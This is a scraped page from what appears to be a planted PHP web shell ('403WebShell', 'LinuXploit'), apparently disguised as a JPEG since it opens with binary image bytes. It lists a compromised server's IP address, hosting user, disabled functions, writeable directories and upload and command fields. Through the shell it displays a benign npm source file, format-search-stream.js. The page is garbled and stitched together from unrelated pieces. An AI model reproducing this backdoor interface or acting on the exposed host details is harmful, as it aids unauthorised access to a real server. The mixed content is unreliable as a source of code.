JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 185.124.137.152  /  Your IP : 216.73.216.91
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/alt-nodejs20/root/lib/node_modules/npm/lib/utils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/alt-nodejs20/root/lib/node_modules/npm/lib/utils/format-search-stream.js
/* eslint-disable max-len */
const { stripVTControlCharacters: strip } = require('node:util')
const { Minipass } = require('minipass')

// This module consumes package data in the following format:
//
// {
//   name: String,
//   description: String,
//   maintainers: [{ username: String, email: String }],
//   keywords: String | [String],
//   version: String,
//   date: Date // can be null,
// }
//
// The returned stream will format this package data
// into a byte stream of formatted, displayable output.

function filter (data, exclude) {
  const words = [data.name]
    .concat(data.maintainers.map(m => m.username))
    .concat(data.keywords || [])
    .map(f => f?.trim?.())
    .filter(Boolean)
    .join(' ')
    .toLowerCase()

  if (exclude.find(pattern => {
    // Treats both /foo and /foo/ as regex searches
    if (pattern.startsWith('/')) {
      if (pattern.endsWith('/')) {
        pattern = pattern.slice(0, -1)
      }
      return words.match(new RegExp(pattern.slice(1)))
    }
    return words.includes(pattern)
  })) {
    return false
  }

  return true
}

module.exports = (opts) => {
  return opts.json ? new JSONOutputStream(opts) : new TextOutputStream(opts)
}

class JSONOutputStream extends Minipass {
  #didFirst = false
  #exclude

  constructor (opts) {
    super()
    this.#exclude = opts.exclude
  }

  write (obj) {
    if (!filter(obj, this.#exclude)) {
      return
    }
    if (!this.#didFirst) {
      super.write('[\n')
      this.#didFirst = true
    } else {
      super.write('\n,\n')
    }

    return super.write(JSON.stringify(obj))
  }

  end () {
    super.write(this.#didFirst ? ']\n' : '\n[]\n')
    super.end()
  }
}

class TextOutputStream extends Minipass {
  #args
  #chalk
  #exclude
  #parseable

  constructor (opts) {
    super()
    this.#args = opts.args.map(s => s.toLowerCase()).filter(Boolean)
    this.#chalk = opts.npm.chalk
    this.#exclude = opts.exclude
    this.#parseable = opts.parseable
  }

  write (data) {
    if (!filter(data, this.#exclude)) {
      return
    }
    // Normalize
    const pkg = {
      authors: data.maintainers.map((m) => `${strip(m.username)}`).join(' '),
      publisher: strip(data.publisher?.username || ''),
      date: data.date ? data.date.toISOString().slice(0, 10) : 'prehistoric',
      description: strip(data.description ?? ''),
      keywords: [],
      name: strip(data.name),
      version: data.version,
    }
    if (Array.isArray(data.keywords)) {
      pkg.keywords = data.keywords.map(strip)
    } else if (typeof data.keywords === 'string') {
      pkg.keywords = strip(data.keywords.replace(/[,\s]+/, ' ')).split(' ')
    }

    let output
    if (this.#parseable) {
      output = [pkg.name, pkg.description, pkg.author, pkg.date, pkg.version, pkg.keywords]
        .filter(Boolean)
        .map(col => ('' + col).replace(/\t/g, ' ')).join('\t')
      return super.write(output)
    }

    const keywords = pkg.keywords.map(k => {
      if (this.#args.includes(k)) {
        return this.#chalk.cyan(k)
      } else {
        return k
      }
    }).join(' ')

    let description = []
    for (const arg of this.#args) {
      const finder = pkg.description.toLowerCase().split(arg.toLowerCase())
      let p = 0
      for (const f of finder) {
        description.push(pkg.description.slice(p, p + f.length))
        const word = pkg.description.slice(p + f.length, p + f.length + arg.length)
        description.push(this.#chalk.cyan(word))
        p += f.length + arg.length
      }
    }
    description = description.filter(Boolean)
    let name = pkg.name
    if (this.#args.includes(pkg.name)) {
      name = this.#chalk.cyan(pkg.name)
    } else {
      name = []
      for (const arg of this.#args) {
        const finder = pkg.name.toLowerCase().split(arg.toLowerCase())
        let p = 0
        for (const f of finder) {
          name.push(pkg.name.slice(p, p + f.length))
          const word = pkg.name.slice(p + f.length, p + f.length + arg.length)
          name.push(this.#chalk.cyan(word))
          p += f.length + arg.length
        }
      }
      name = this.#chalk.blue(name.join(''))
    }

    if (description.length) {
      output = `${name}\n${description.join('')}\n`
    } else {
      output = `${name}\n`
    }
    if (pkg.publisher) {
      output += `Version ${this.#chalk.blue(pkg.version)} published ${this.#chalk.blue(pkg.date)} by ${this.#chalk.blue(pkg.publisher)}\n`
    } else {
      output += `Version ${this.#chalk.blue(pkg.version)} published ${this.#chalk.blue(pkg.date)} by ${this.#chalk.yellow('???')}\n`
    }
    output += `Maintainers: ${pkg.authors}\n`
    if (keywords) {
      output += `Keywords: ${keywords}\n`
    }
    output += `${this.#chalk.blue(`https://npm.im/${pkg.name}`)}\n`
    return super.write(output)
  }
}

Youez - 2016 - github.com/yon3zu
LinuXploit